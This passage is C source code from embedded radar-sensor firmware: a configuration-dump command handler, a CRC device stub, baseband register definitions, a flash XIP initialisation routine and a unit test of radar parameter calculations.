offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->ant_comps[cnt]);
}
count++;
return pdTRUE;
case 85 :
snprintf(pcWriteBuffer, xWriteBufferLen, "bpm_mode = %d\r\n", cfg->bpm_mode);
count++;
return pdTRUE;
case 86 :
snprintf(pcWriteBuffer, xWriteBufferLen, "phase_scramble_on = %u\r\n", cfg->phase_scramble_on);
count++;
return pdTRUE;
case 87 :
snprintf(pcWriteBuffer, xWriteBufferLen, "phase_scramble_init_state = 0x%X\r\n", cfg->phase_scramble_init_state);
count++;
return pdTRUE;
case 88 :
snprintf(pcWriteBuffer, xWriteBufferLen, "phase_scramble_tap = 0x%X\r\n", cfg->phase_scramble_tap);
count++;
return pdTRUE;
case 89 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "phase_scramble_comp = [");
for(cnt = 0; cnt < 4 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 4 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->phase_scramble_comp[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->phase_scramble_comp[cnt]);
}
count++;
return pdTRUE;
case 90 :
snprintf(pcWriteBuffer, xWriteBufferLen, "freq_hopping_on = %u\r\n", cfg->freq_hopping_on);
count++;
return pdTRUE;
case 91 :
snprintf(pcWriteBuffer, xWriteBufferLen, "freq_hopping_init_state = 0x%X\r\n", cfg->freq_hopping_init_state);
count++;
return pdTRUE;
case 92 :
snprintf(pcWriteBuffer, xWriteBufferLen, "freq_hopping_tap = 0x%X\r\n", cfg->freq_hopping_tap);
count++;
return pdTRUE;
case 93 :
snprintf(pcWriteBuffer, xWriteBufferLen, "freq_hopping_deltaf = %.4f\r\n", cfg->freq_hopping_deltaf);
count++;
return pdTRUE;
case 94 :
snprintf(pcWriteBuffer, xWriteBufferLen, "chirp_shifting_on = %u\r\n", cfg->chirp_shifting_on);
count++;
return pdTRUE;
case 95 :
snprintf(pcWriteBuffer, xWriteBufferLen, "chirp_shifting_init_state = %u\r\n", cfg->chirp_shifting_init_state);
count++;
return pdTRUE;
case 96 :
snprintf(pcWriteBuffer, xWriteBufferLen, "chirp_shifting_init_tap = %u\r\n", cfg->chirp_shifting_init_tap);
count++;
return pdTRUE;
case 97 :
snprintf(pcWriteBuffer, xWriteBufferLen, "chirp_shifting_delay = %.4f\r\n", cfg->chirp_shifting_delay);
count++;
return pdTRUE;
case 98 :
snprintf(pcWriteBuffer, xWriteBufferLen, "fsm_on = %d\r\n", cfg->fsm_on);
count++;
return pdTRUE;
case 99 :
snprintf(pcWriteBuffer, xWriteBufferLen, "agc_mode = %d\r\n", cfg->agc_mode);
count++;
return pdTRUE;
case 100 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "agc_code = [");
for(cnt = 0; cnt < AGC_CODE_ENTRY_NUM && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != AGC_CODE_ENTRY_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->agc_code[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->agc_code[cnt]);
}
count++;
return pdTRUE;
case 101 :
snprintf(pcWriteBuffer, xWriteBufferLen, "agc_tia_thres = %.4f\r\n", cfg->agc_tia_thres);
count++;
return pdTRUE;
case 102 :
snprintf(pcWriteBuffer, xWriteBufferLen, "agc_vga1_thres = %.4f\r\n", cfg->agc_vga1_thres);
count++;
return pdTRUE;
case 103 :
snprintf(pcWriteBuffer, xWriteBufferLen, "agc_vga2_thres = %.4f\r\n", cfg->agc_vga2_thres);
count++;
return pdTRUE;
case 104 :
snprintf(pcWriteBuffer, xWriteBufferLen, "agc_align_en = %d\r\n", cfg->agc_align_en);
count++;
return pdTRUE;
case 105 :
snprintf(pcWriteBuffer, xWriteBufferLen, "adc_comp_en = %d\r\n", cfg->adc_comp_en);
count++;
return pdTRUE;
case 106 :
snprintf(pcWriteBuffer, xWriteBufferLen, "rf_tia_gain = %u\r\n", cfg->rf_tia_gain);
count++;
return pdTRUE;
case 107 :
snprintf(pcWriteBuffer, xWriteBufferLen, "rf_vga1_gain = %u\r\n", cfg->rf_vga1_gain);
count++;
return pdTRUE;
case 108 :
snprintf(pcWriteBuffer, xWriteBufferLen, "rf_vga2_gain = %u\r\n", cfg->rf_vga2_gain);
count++;
return pdTRUE;
case 109 :
snprintf(pcWriteBuffer, xWriteBufferLen, "rf_hpf1 = %u\r\n", cfg->rf_hpf1);
count++;
return pdTRUE;
case 110 :
snprintf(pcWriteBuffer, xWriteBufferLen, "rf_hpf2 = %u\r\n", cfg->rf_hpf2);
count++;
return pdTRUE;
case 111 :
snprintf(pcWriteBuffer, xWriteBufferLen, "de_vel_amb = %d\r\n", cfg->de_vel_amb);
count++;
return pdTRUE;
case 112 :
snprintf(pcWriteBuffer, xWriteBufferLen, "track_fps = %u\r\n", cfg->track_fps);
count++;
return pdTRUE;
case 113 :
snprintf(pcWriteBuffer, xWriteBufferLen, "track_fov_az_left = %.4f\r\n", cfg->track_fov_az_left);
count++;
return pdTRUE;
case 114 :
snprintf(pcWriteBuffer, xWriteBufferLen, "track_fov_az_right = %.4f\r\n", cfg->track_fov_az_right);
count++;
return pdTRUE;
case 115 :
snprintf(pcWriteBuffer, xWriteBufferLen, "track_fov_ev_down = %.4f\r\n", cfg->track_fov_ev_down);
count++;
return pdTRUE;
case 116 :
snprintf(pcWriteBuffer, xWriteBufferLen, "track_fov_ev_up = %.4f\r\n", cfg->track_fov_ev_up);
count++;
return pdTRUE;
case 117 :
snprintf(pcWriteBuffer, xWriteBufferLen, "track_near_field_thres = %.4f\r\n", cfg->track_near_field_thres);
count++;
return pdTRUE;
case 118 :
snprintf(pcWriteBuffer, xWriteBufferLen, "track_capture_delay = %.4f\r\n", cfg->track_capture_delay);
count++;
return pdTRUE;
case 119 :
snprintf(pcWriteBuffer, xWriteBufferLen, "track_drop_delay = %.4f\r\n", cfg->track_drop_delay);
count++;
return pdTRUE;
case 120 :
snprintf(pcWriteBuffer, xWriteBufferLen, "track_vel_pos_ind_portion = %.4f\r\n", cfg->track_vel_pos_ind_portion);
count++;
return pdTRUE;
case 121 :
snprintf(pcWriteBuffer, xWriteBufferLen, "track_obj_snr_sel = %u\r\n", cfg->track_obj_snr_sel);
count++;
return pdTRUE;
case 122 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "tx_phase_value = [");
for(cnt = 0; cnt < 4 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 4 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->tx_phase_value[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->tx_phase_value[cnt]);
}
count++;
return pdTRUE;
case 123 :
snprintf(pcWriteBuffer, xWriteBufferLen, "spk_en = %d\r\n", cfg->spk_en);
count++;
return pdTRUE;
case 124 :
snprintf(pcWriteBuffer, xWriteBufferLen, "spk_buf_len = %u\r\n", cfg->spk_buf_len);
count++;
return pdTRUE;
case 125 :
snprintf(pcWriteBuffer, xWriteBufferLen, "spk_set_zero = %d\r\n", cfg->spk_set_zero);
count++;
return pdTRUE;
case 126 :
snprintf(pcWriteBuffer, xWriteBufferLen, "spk_ovr_num = %u\r\n", cfg->spk_ovr_num);
count++;
return pdTRUE;
case 127 :
snprintf(pcWriteBuffer, xWriteBufferLen, "spk_thres_dbl = %d\r\n", cfg->spk_thres_dbl);
count++;
return pdTRUE;
case 128 :
snprintf(pcWriteBuffer, xWriteBufferLen, "spk_min_max_sel = %d\r\n", cfg->spk_min_max_sel);
count++;
return pdTRUE;
case 129 :
snprintf(pcWriteBuffer, xWriteBufferLen, "zero_doppler_cancel = %d\r\n", cfg->zero_doppler_cancel);
count++;
return pdTRUE;
case 130 :
snprintf(pcWriteBuffer, xWriteBufferLen, "anti_velamb_en = %d\r\n", cfg->anti_velamb_en);
count++;
return pdTRUE;
case 131 :
snprintf(pcWriteBuffer, xWriteBufferLen, "anti_velamb_delay = %u\r\n", cfg->anti_velamb_delay);
count++;
return pdTRUE;
case 132 :
snprintf(pcWriteBuffer, xWriteBufferLen, "anti_velamb_qmin = %d\r\n", cfg->anti_velamb_qmin);
count++;
return pdTRUE;
case 133 :
snprintf(pcWriteBuffer, xWriteBufferLen, "high_vel_comp_en = %d\r\n", cfg->high_vel_comp_en);
count++;
return pdTRUE;
case 134 :
snprintf(pcWriteBuffer, xWriteBufferLen, "high_vel_comp_method = %u\r\n", cfg->high_vel_comp_method);
count++;
return pdTRUE;
case 135 :
snprintf(pcWriteBuffer, xWriteBufferLen, "vel_comp_usr = %.4f\r\n", cfg->vel_comp_usr);
count++;
return pdTRUE;
case 136 :
snprintf(pcWriteBuffer, xWriteBufferLen, "rng_comp_usr = %.4f\r\n", cfg->rng_comp_usr);
count++;
return pdTRUE;
case 137 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "dml_2dsch_start = [");
for(cnt = 0; cnt < 2 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 2 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->dml_2dsch_start[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->dml_2dsch_start[cnt]);
}
count++;
return pdTRUE;
case 138 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "dml_2dsch_step = [");
for(cnt = 0; cnt < 2 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 2 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->dml_2dsch_step[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->dml_2dsch_step[cnt]);
}
count++;
return pdTRUE;
case 139 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "dml_2dsch_end = [");
for(cnt = 0; cnt < 2 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 2 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->dml_2dsch_end[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->dml_2dsch_end[cnt]);
}
count++;
return pdTRUE;
case 140 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "dml_extra_1d_en = [");
for(cnt = 0; cnt < 2 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 2 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%d, ", cfg->dml_extra_1d_en[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%d]\n\r", cfg->dml_extra_1d_en[cnt]);
}
count++;
return pdTRUE;
case 141 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "dml_p1p2_en = [");
for(cnt = 0; cnt < 2 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 2 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%d, ", cfg->dml_p1p2_en[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%d]\n\r", cfg->dml_p1p2_en[cnt]);
}
count++;
return pdTRUE;
case 142 :
offset = snprintf(pcWriteBuffer, xWriteBufferLen, "dml_respwr_coef = [");
for(cnt = 0; cnt < 10 && offset < cmdMAX_OUTPUT_SIZE; cnt++) {
if (cnt != 10 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->dml_respwr_coef[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->dml_respwr_coef[cnt]);
}
count++;
return pdTRUE;
case 143 :
snprintf(pcWriteBuffer, xWriteBufferLen, "acc_rng_hw = %d\r\n", cfg->acc_rng_hw);
count++;
return pdTRUE;
case 144 :
snprintf(pcWriteBuffer, xWriteBufferLen, "acc_vel_hw = %d\r\n", cfg->acc_vel_hw);
count++;
return pdTRUE;
case 145 :
snprintf(pcWriteBuffer, xWriteBufferLen, "acc_angle_hw = %d\r\n", cfg->acc_angle_hw);
count++;
return pdTRUE;
case 146 :
snprintf(pcWriteBuffer, xWriteBufferLen, "cas_obj_merg_typ = %u\r\n", cfg->cas_obj_merg_typ);
count++;
return pdTRUE;
case 147 :
snprintf(pcWriteBuffer, xWriteBufferLen, "sv_read_from_flash = %d\r\n", cfg->sv_read_from_flash);
count++;
return pdTRUE;
default :
count = 0;
snprintf(pcWriteBuffer, xWriteBufferLen, "-----------CFG-EOF %d----------\r\n", cc);
if (cc == NUM_FRAME_TYPE-1) {
cc = 0;
return pdFALSE;
} else {
cc++;
return pdTRUE;
}
}
}
return pdFALSE;
<file_sep>#include "embARC_toolchain.h"
#include "alps/alps.h"
#include "hw_crc.h"
static hw_crc_t crc_dev = {
.base = REL_REGBASE_CRC,
.err_int = INT_CRC_IRQ0,
.complete_int = INT_CRC_IRQ1
};
void *crc_get_dev(uint32_t id)
{
return (void *)&crc_dev;
}
<file_sep>#ifndef BASEBAND_ALPS_A_REG_H
#define BASEBAND_ALPS_A_REG_H
/*--- ADDRESS ------------------------*/
#define BB_REG_BASEADDR 0x900000
#define BB_REG_SYS_BASEADDR (BB_REG_BASEADDR+0x00000)
#define BB_REG_AGC_BASEADDR (BB_REG_BASEADDR+0x10000)
#define BB_REG_SAM_BASEADDR (BB_REG_BASEADDR+0x20000)
#define BB_REG_FFT_BASEADDR (BB_REG_BASEADDR+0x30000)
#define BB_REG_CFR_BASEADDR (BB_REG_BASEADDR+0x40000)
#define BB_REG_BFM_BASEADDR (BB_REG_BASEADDR+0x50000)
#define BB_REG_CMB_BASEADDR (BB_REG_BASEADDR+0x60000)
#define BB_REG_DMP_BASEADDR (BB_REG_BASEADDR+0x70000)
#define BB_REG_SYS_START (BB_REG_SYS_BASEADDR+0x00)
#define BB_REG_SYS_ENABLE (BB_REG_SYS_BASEADDR+0x04)
#define BB_REG_SYS_STATUS (BB_REG_SYS_BASEADDR+0x08)
#define BB_REG_SYS_IRQ_ENA (BB_REG_SYS_BASEADDR+0x0C)
#define BB_REG_SYS_IRQ_CLR (BB_REG_SYS_BASEADDR+0x10)
#define BB_REG_SYS_NUM_OBJ (BB_REG_SYS_BASEADDR+0x14)
#define BB_REG_SYS_SIZE_RNG_FFT (BB_REG_SYS_BASEADDR+0x18)
#define BB_REG_SYS_SIZE_RNG_PRD (BB_REG_SYS_BASEADDR+0x1C)
#define BB_REG_SYS_SIZE_RNG_SKP (BB_REG_SYS_BASEADDR+0x20)
#define BB_REG_SYS_SIZE_RNG_BUF (BB_REG_SYS_BASEADDR+0x24)
#define BB_REG_SYS_SIZE_RNG_ALL (BB_REG_SYS_BASEADDR+0x28)
#define BB_REG_SYS_SIZE_BPM (BB_REG_SYS_BASEADDR+0x2C)
#define BB_REG_SYS_SIZE_VEL_FFT (BB_REG_SYS_BASEADDR+0x30)
#define BB_REG_SYS_SIZE_VEL_BUF (BB_REG_SYS_BASEADDR+0x34)
#define BB_REG_SYS_SIZE_ANG (BB_REG_SYS_BASEADDR+0x38)
#define BB_REG_SYS_SIZE_MIM (BB_REG_SYS_BASEADDR+0x3C)
#define BB_REG_SYS_SIZE_OBJ (BB_REG_SYS_BASEADDR+0x40)
#define BB_REG_SYS_MEM_ACT (BB_REG_SYS_BASEADDR+0x44)
#define BB_REG_SYS_BUF_STORE (BB_REG_SYS_BASEADDR+0x48)
#define BB_REG_SYS_TST_CNT (BB_REG_SYS_BASEADDR+0x4C)
#define BB_REG_SYS_TST_PRD (BB_REG_SYS_BASEADDR+0x50)
#define BB_REG_SYS_TST_DAT (BB_REG_SYS_BASEADDR+0x54)
#define BB_REG_SYS_TST_MSK (BB_REG_SYS_BASEADDR+0x58)
#define BB_REG_AGC_PERIOD (BB_REG_AGC_BASEADDR+0x00)
#define BB_REG_AGC_CNT_TIA_C0 (BB_REG_AGC_BASEADDR+0x04)
#define BB_REG_AGC_CNT_TIA_C1 (BB_REG_AGC_BASEADDR+0x08)
#define BB_REG_AGC_CNT_TIA_C2 (BB_REG_AGC_BASEADDR+0x0C)
#define BB_REG_AGC_CNT_TIA_C3 (BB_REG_AGC_BASEADDR+0x10)
#define BB_REG_AGC_CNT_VGA1_C0 (BB_REG_AGC_BASEADDR+0x14)
#define BB_REG_AGC_CNT_VGA1_C1 (BB_REG_AGC_BASEADDR+0x18)
#define BB_REG_AGC_CNT_VGA1_C2 (BB_REG_AGC_BASEADDR+0x1C)
#define BB_REG_AGC_CNT_VGA1_C3 (BB_REG_AGC_BASEADDR+0x20)
#define BB_REG_AGC_CNT_VGA2_C0 (BB_REG_AGC_BASEADDR+0x24)
#define BB_REG_AGC_CNT_VGA2_C1 (BB_REG_AGC_BASEADDR+0x28)
#define BB_REG_AGC_CNT_VGA2_C2 (BB_REG_AGC_BASEADDR+0x2C)
#define BB_REG_AGC_CNT_VGA2_C3 (BB_REG_AGC_BASEADDR+0x30)
#define BB_REG_AGC_MAX_1ST_C0 (BB_REG_AGC_BASEADDR+0x34)
#define BB_REG_AGC_MAX_1ST_C1 (BB_REG_AGC_BASEADDR+0x38)
#define BB_REG_AGC_MAX_1ST_C2 (BB_REG_AGC_BASEADDR+0x3C)
#define BB_REG_AGC_MAX_1ST_C3 (BB_REG_AGC_BASEADDR+0x40)
#define BB_REG_AGC_MAX_2ND_C0 (BB_REG_AGC_BASEADDR+0x44)
#define BB_REG_AGC_MAX_2ND_C1 (BB_REG_AGC_BASEADDR+0x48)
#define BB_REG_AGC_MAX_2ND_C2 (BB_REG_AGC_BASEADDR+0x4C)
#define BB_REG_AGC_MAX_2ND_C3 (BB_REG_AGC_BASEADDR+0x50)
#define BB_REG_AGC_MAX_3RD_C0 (BB_REG_AGC_BASEADDR+0x54)
#define BB_REG_AGC_MAX_3RD_C1 (BB_REG_AGC_BASEADDR+0x58)
#define BB_REG_AGC_MAX_3RD_C2 (BB_REG_AGC_BASEADDR+0x5C)
#define BB_REG_AGC_MAX_3RD_C3 (BB_REG_AGC_BASEADDR+0x60)
#define BB_REG_SAM_FILT_CNT (BB_REG_SAM_BASEADDR+0x00)
#define BB_REG_SAM_F_0_S1 (BB_REG_SAM_BASEADDR+0x04)
#define BB_REG_SAM_F_0_B1 (BB_REG_SAM_BASEADDR+0x08)
#define BB_REG_SAM_F_0_A1 (BB_REG_SAM_BASEADDR+0x0C)
#define BB_REG_SAM_F_0_A2 (BB_REG_SAM_BASEADDR+0x10)
#define BB_REG_SAM_F_1_S1 (BB_REG_SAM_BASEADDR+0x14)
#define BB_REG_SAM_F_1_B1 (BB_REG_SAM_BASEADDR+0x18)
#define BB_REG_SAM_F_1_A1 (BB_REG_SAM_BASEADDR+0x1C)
#define BB_REG_SAM_F_1_A2 (BB_REG_SAM_BASEADDR+0x20)
#define BB_REG_SAM_F_2_S1 (BB_REG_SAM_BASEADDR+0x24)
#define BB_REG_SAM_F_2_B1 (BB_REG_SAM_BASEADDR+0x28)
#define BB_REG_SAM_F_2_A1 (BB_REG_SAM_BASEADDR+0x2C)
#define BB_REG_SAM_F_2_A2 (BB_REG_SAM_BASEADDR+0x30)
#define BB_REG_SAM_F_3_S1 (BB_REG_SAM_BASEADDR+0x34)
#define BB_REG_SAM_F_3_B1 (BB_REG_SAM_BASEADDR+0x38)
#define BB_REG_SAM_F_3_A1 (BB_REG_SAM_BASEADDR+0x3C)
#define BB_REG_SAM_F_3_A2 (BB_REG_SAM_BASEADDR+0x40)
#define BB_REG_SAM_FNL_SHF (BB_REG_SAM_BASEADDR+0x44)
#define BB_REG_SAM_FNL_SCL (BB_REG_SAM_BASEADDR+0x48)
#define BB_REG_SAM_DE_INT_ENA (BB_REG_SAM_BASEADDR+0x4C)
#define BB_REG_SAM_DE_INT_DAT (BB_REG_SAM_BASEADDR+0x50)
#define BB_REG_SAM_DE_INT_MSK (BB_REG_SAM_BASEADDR+0x54)
#define BB_REG_SAM_FORCE (BB_REG_SAM_BASEADDR+0x58)
#define BB_REG_SAM_SIZE (BB_REG_SAM_BASEADDR+0x5C)
#define BB_REG_FFT_SHFT_RNG (BB_REG_FFT_BASEADDR+0x00)
#define BB_REG_FFT_SHFT_VEL (BB_REG_FFT_BASEADDR+0x04)
#define BB_REG_CFR_TYPE (BB_REG_CFR_BASEADDR+0x00)
#define BB_REG_CFR_BACK_RNG (BB_REG_CFR_BASEADDR+0x04)
#define BB_REG_CFR_CA_DATA_SCL (BB_REG_CFR_BASEADDR+0x08)
#define BB_REG_CFR_CA_MASK_0 (BB_REG_CFR_BASEADDR+0x0C)
#define BB_REG_CFR_CA_MASK_1 (BB_REG_CFR_BASEADDR+0x10)
#define BB_REG_CFR_CA_MASK_2 (BB_REG_CFR_BASEADDR+0x14)
#define BB_REG_CFR_CA_MASK_3 (BB_REG_CFR_BASEADDR+0x18)
#define BB_REG_CFR_CA_MASK_4 (BB_REG_CFR_BASEADDR+0x1C)
#define BB_REG_CFR_CA_MASK_5 (BB_REG_CFR_BASEADDR+0x20)
#define BB_REG_CFR_CA_MASK_6 (BB_REG_CFR_BASEADDR+0x24)
#define BB_REG_CFR_OS_DATA_SCL (BB_REG_CFR_BASEADDR+0x28)
#define BB_REG_CFR_OS_DATA_THR (BB_REG_CFR_BASEADDR+0x2C)
#define BB_REG_CFR_OS_MASK_0 (BB_REG_CFR_BASEADDR+0x30)
#define BB_REG_CFR_OS_MASK_1 (BB_REG_CFR_BASEADDR+0x34)
#define BB_REG_CFR_OS_MASK_2 (BB_REG_CFR_BASEADDR+0x38)
#define BB_REG_CFR_OS_MASK_3 (BB_REG_CFR_BASEADDR+0x3C)
#define BB_REG_CFR_OS_MASK_4 (BB_REG_CFR_BASEADDR+0x40)
#define BB_REG_CFR_OS_MASK_5 (BB_REG_CFR_BASEADDR+0x44)
#define BB_REG_CFR_OS_MASK_6 (BB_REG_CFR_BASEADDR+0x48)
#define BB_REG_CFR_PK_DATA_THR (BB_REG_CFR_BASEADDR+0x4C)
#define BB_REG_CFR_PK_MASK_0 (BB_REG_CFR_BASEADDR+0x50)
#define BB_REG_CFR_PK_MASK_1 (BB_REG_CFR_BASEADDR+0x54)
#define BB_REG_CFR_PK_MASK_2 (BB_REG_CFR_BASEADDR+0x58)
#define BB_REG_CFR_PK_MASK_3 (BB_REG_CFR_BASEADDR+0x5C)
#define BB_REG_CFR_PK_MASK_4 (BB_REG_CFR_BASEADDR+0x60)
#define BB_REG_CFR_PK_MASK_5 (BB_REG_CFR_BASEADDR+0x64)
#define BB_REG_CFR_PK_MASK_6 (BB_REG_CFR_BASEADDR+0x68)
#define BB_REG_BFM_NUMB_SCH (BB_REG_BFM_BASEADDR+0x00)
#define BB_REG_BFM_SCL_SIG (BB_REG_BFM_BASEADDR+0x04)
#define BB_REG_BFM_SCL_NOI (BB_REG_BFM_BASEADDR+0x08)
#define BB_REG_CMB_TYPE (BB_REG_CMB_BASEADDR+0x00)
#define BB_REG_DMP_MODE (BB_REG_DMP_BASEADDR+0x00)
#define BB_REG_DMP_SIZE (BB_REG_DMP_BASEADDR+0x04)
#define BB_REG_DMP_ENAB (BB_REG_DMP_BASEADDR+0x08)
#define BB_MEM_BASEADDR 0xA00000
#define BB_MEM_BASEADDR_CH_OFFSET 0x040000
/*--- VALUE, MASK OR SHIFT -----------*/
#define BB_REG_SYS_MEM_ACT_NONE 0
#define BB_REG_SYS_MEM_ACT_WIN 1
#define BB_REG_SYS_MEM_ACT_BUF 2
#define BB_REG_SYS_MEM_ACT_COE 3
#define BB_REG_SYS_MEM_ACT_MAC 4
#define BB_REG_SYS_MEM_ACT_RLT 5
#define BB_REG_SYS_MEM_ACT_SHP 6
#define BB_REG_SYS_ENABLE_TST_SHIFT 7
#define BB_REG_SYS_ENABLE_TST_MASK 0x1
#define BB_REG_SYS_ENABLE_HIL_SHIFT 6
#define BB_REG_SYS_ENABLE_HIL_MASK 0x1
#define BB_REG_SYS_ENABLE_AGC_SHIFT 5
#define BB_REG_SYS_ENABLE_AGC_MASK 0x1
#define BB_REG_SYS_ENABLE_SAM_SHIFT 4
#define BB_REG_SYS_ENABLE_SAM_MASK 0x1
#define BB_REG_SYS_ENABLE_FFT_2D_SHIFT 3
#define BB_REG_SYS_ENABLE_FFT_2D_MASK 0x1
#define BB_REG_SYS_ENABLE_CFR_SHIFT 2
#define BB_REG_SYS_ENABLE_CFR_MASK 0x1
#define BB_REG_SYS_ENABLE_BFM_SHIFT 1
#define BB_REG_SYS_ENABLE_BFM_MASK 0x1
#define BB_REG_SYS_ENABLE_DMP_SHIFT 0
#define BB_REG_SYS_ENABLE_DMP_MASK 0x1
#define BB_REG_CFR_TYPE_CA 0
#define BB_REG_CFR_TYPE_OS 1
#define BB_REG_CFR_TYPE_CA_OR_OS 2
#define BB_REG_CFR_TYPE_CA_AND_OS 3
#define BB_REG_DMP_MODE_SELF_CTL 0
#define BB_REG_DMP_MODE_HOST_CTL 1
#define BB_REG_SYS_BUF_STORE_FFT 0
#define BB_REG_SYS_BUF_STORE_ADC 1
#define BB_REG_CMB_TYPE_MAGN 0
#define BB_REG_CMB_TYPE_MIMO 1
/*--- TYPEDEF -------------------------*/
typedef struct {
uint32_t vel : 16; /* 0x00 */
uint32_t rng : 16;
uint32_t ang_0 : 16; /* 0x04 */
uint32_t is_obj_1 : 1;
uint32_t is_obj_2 : 1;
uint32_t is_obj_3 : 14;
uint32_t ang_1 : 9; /* 0x08 */
uint32_t ang_2 : 9;
uint32_t ang_3 : 14;
uint32_t noi ; /* 0x0C */
uint32_t sig_0 ; /* 0x10 */
uint32_t sig_1 ; /* 0x14 */
uint32_t sig_2 ; /* 0x18 */
uint32_t sig_3 ; /* 0x1C */
} obj_info_t;
#endif
<file_sep>void flash_xip_init_early(void)
{
xip_enable(1);
raw_writel(0xd00000, CLK_MODE0_SSI_CTRL0(QUAD_FRAME_FORMAT, DW_SSI_DATA_LEN_32, DW_SSI_RECEIVE_ONLY));
raw_writel(0xd00004, 0x7ff);
raw_writel(0xd00014, 0xa);
raw_writel(0xd000f0, FLASH_DEV_SAMPLE_DELAY);
raw_writel(0xd000f4, SSI_SPI_CTRLR0(FLASH_DEV_DUMMY_CYCLE + FLASH_DEV_MODE_CYCLE,\
DW_SSI_INS_LEN_8, DW_SSI_ADDR_LEN_24, DW_SSI_1_X_X));
raw_writel(0xd00010, 1);
raw_writel(0xd00018, 1);
raw_writel(0xd0001C, 0);
raw_writel(0xd0002C, 0x7f);
/* XIP Read Command Register - XRDCR */
raw_writel(0xd00108, FLASH_COMMAND(CMD_Q_READ, DW_SSI_INS_LEN_8, DW_SSI_ADDR_LEN_24, DW_SSI_DATA_LEN_32));
/* XIP Instruction Section Offset Register - XISOR */
raw_writel(0xd0011c, CONFIG_XIP_INS_OFFSET);
/* XIP AHB Bus Endian Control Register - XABECR */
raw_writel(0xd001d8, 0x03);
/* XIP AES Data Bus Endian Control Register - XADBECR */
raw_writel(0xd001dc, 0x00);
/* AES Mode Register - AMR */
raw_writel(0xd00124, 0x07);
/* XIP Instruction Buffer Control Register - XIBCR */
raw_writel(0xd001e0, CONFIG_XIP_INS_BUF_LEN);
/* XIP Data Section Offset Register - XDSOR */
raw_writel(0xd00120, CONFIG_XIP_DATA_OFFSET);
/* XIP Read Buffer Control Register - XRBCR */
raw_writel(0xd001e4, CONFIG_XIP_RD_BUF_LEN);
raw_writel(0xd00008, 1);
/* XIP Enable Register - XER */
raw_writel(0xd00100, 1);
//chip_hw_udelay(1000);
while (0 == raw_readl(0xd00100));
}
<file_sep>#include "CuTest.h"
#include "baseband.h"
#include "radar_sys_params.h"
#include "sensor_config.h"
#include "stdio.h"
static sensor_config_t cfg;
static baseband_t bb;
static void init_radar_sys_params()
{
bb.cfg = &cfg;
cfg.bb = &bb;
}
static void init_config_case0()
{
bb.radio.start_freq = 0x7c00000;
bb.radio.stop_freq = 0x8100000;
bb.radio.mid_freq = 0x7e80000;
bb.radio.step_up = 0xa00;
bb.radio.step_down = 0x3233;
bb.radio.cnt_wait = 10;
}
static void init_config_case1()
{
bb.radio.start_freq = 0x7e80000;
bb.radio.stop_freq = 0x8380000;
bb.radio.mid_freq = 0x8100000;
bb.radio.step_up = 0xa00;
bb.radio.step_down = 0x3233;
bb.radio.cnt_wait = 10;
}
static void init_config_case2()
{
bb.radio.start_freq = 0x7c7fff8;
bb.radio.stop_freq = 0x7cc8fc1;
bb.radio.mid_freq = 0x8100000;
bb.radio.step_up = 0x3B;
bb.radio.step_down = 0x1C;
bb.radio.cnt_wait = 8;
}
void test_radar_param_config(CuTest *tc)
{
float df = 1e-6;
init_radar_sys_params();
init_config_case0();
radar_param_config(&bb.sys_params);
CuAssertDblEquals(tc, 76, bb.sys_params.carrier_freq, df);
CuAssertDblEquals(tc, 1000, bb.sys_params.bandwidth, df);
CuAssertDblEquals(tc, 5.12, bb.sys_params.chirp_rampup, df);
CuAssertDblEquals(tc, 8.699935913085938, bb.sys_params.chirp_period, df);
init_config_case1();
radar_param_config(&bb.sys_params);
CuAssertDblEquals(tc, 76.5, bb.sys_params.carrier_freq, df);
CuAssertDblEquals(tc, 1000, bb.sys_params.bandwidth, df);
CuAssertDblEquals(tc, 5.12, bb.sys_params.chirp_rampup, df);
CuAssertDblEquals(tc, 8.699935913085938, bb.sys_params.chirp_period, df);
init_config_case2();
radar_param_config(&bb.sys_params);
